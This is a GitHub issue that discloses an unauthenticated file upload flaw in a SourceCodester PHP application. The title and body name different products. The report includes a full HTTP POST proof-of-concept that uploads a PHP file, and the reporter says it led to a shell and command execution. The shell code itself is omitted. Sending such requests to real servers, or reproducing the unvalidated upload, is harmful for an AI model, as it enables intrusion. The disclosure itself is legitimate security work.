Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SourceCodester Home Clean Service System in PHP Free Source Code 1.0 student_edit_photo.php Unrestricted Upload #16

Open
1097hzy opened this issue Apr 22, 2024 · 0 comments

Comments

@1097hzy
Copy link

1097hzy commented Apr 22, 2024

SourceCodester Home Clean Service System in PHP Free Source Code 1.0 student_edit_photo.php Unrestricted Upload

NAME OF AFFECTED PRODUCT(S)

  • Library System using PHP/MySQli with Source Code

Vendor Homepage

AFFECTED AND/OR FIXED VERSION(S)

submitter

  • Huang Yue

Vulnerable File

  • student_edit_photo.php

VERSION(S)

  • V1.0

Software Link

PROBLEM TYPE

Vulnerability Type

  • File upload

Root Cause

  • The input obtained through PHP in line 6 of the \admin\student_edit_photo.php file is used by PHP in line 8 of the \admin\student_edit_photo.php file to determine the location of the file to be written, which may allow attackers to modify or damage the content of the file, or create a brand new file.
  • 4

Impact

  • Attackers can exploit this vulnerability for unrestricted uploads, and remote attacks may result in RCE.

DESCRIPTION

  • Huang Yue found that the file upload operation was triggered in student_edit_photo.php, and the _FAILE variable was used to receive the payload. After receiving the attack vector from a remote attacker, it will result in unrestricted uploads, and remote attacks may lead to RCE.

Vulnerability details and POC

Payload

This process does not require any user login and can also be uploaded

  • The picture I uploaded here is a photo of carrying a Trojan horse, but due to character confusion, I took a screenshot directly.
  • 3
POST /admin/student_edit_photo.php HTTP/1.1
Host: www.libsystem.com:8103
Content-Length: 2302
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.libsystem.com:8103
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7hqPQF5ESGzPsovq
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://www.libsystem.com:8103/admin/student.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary7hqPQF5ESGzPsovq
Content-Disposition: form-data; name="id"

4
------WebKitFormBoundary7hqPQF5ESGzPsovq
Content-Disposition: form-data; name="photo"; filename="rce_2.php"
Content-Type: image/jpeg

Node:Sorry, due to some coding reasons, I am unable to use markdown to store image data with attack payloads here.

------WebKitFormBoundary7hqPQF5ESGzPsovq
Content-Disposition: form-data; name="upload"


------WebKitFormBoundary7hqPQF5ESGzPsovq--
  • 5

This file upload vulnerability will automatically add a timestamp before the name of the uploaded file.

  • I successfully connected using shell tools
  • 1
  • I successfully executed the ipconfig command using shell tools
  • 2
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant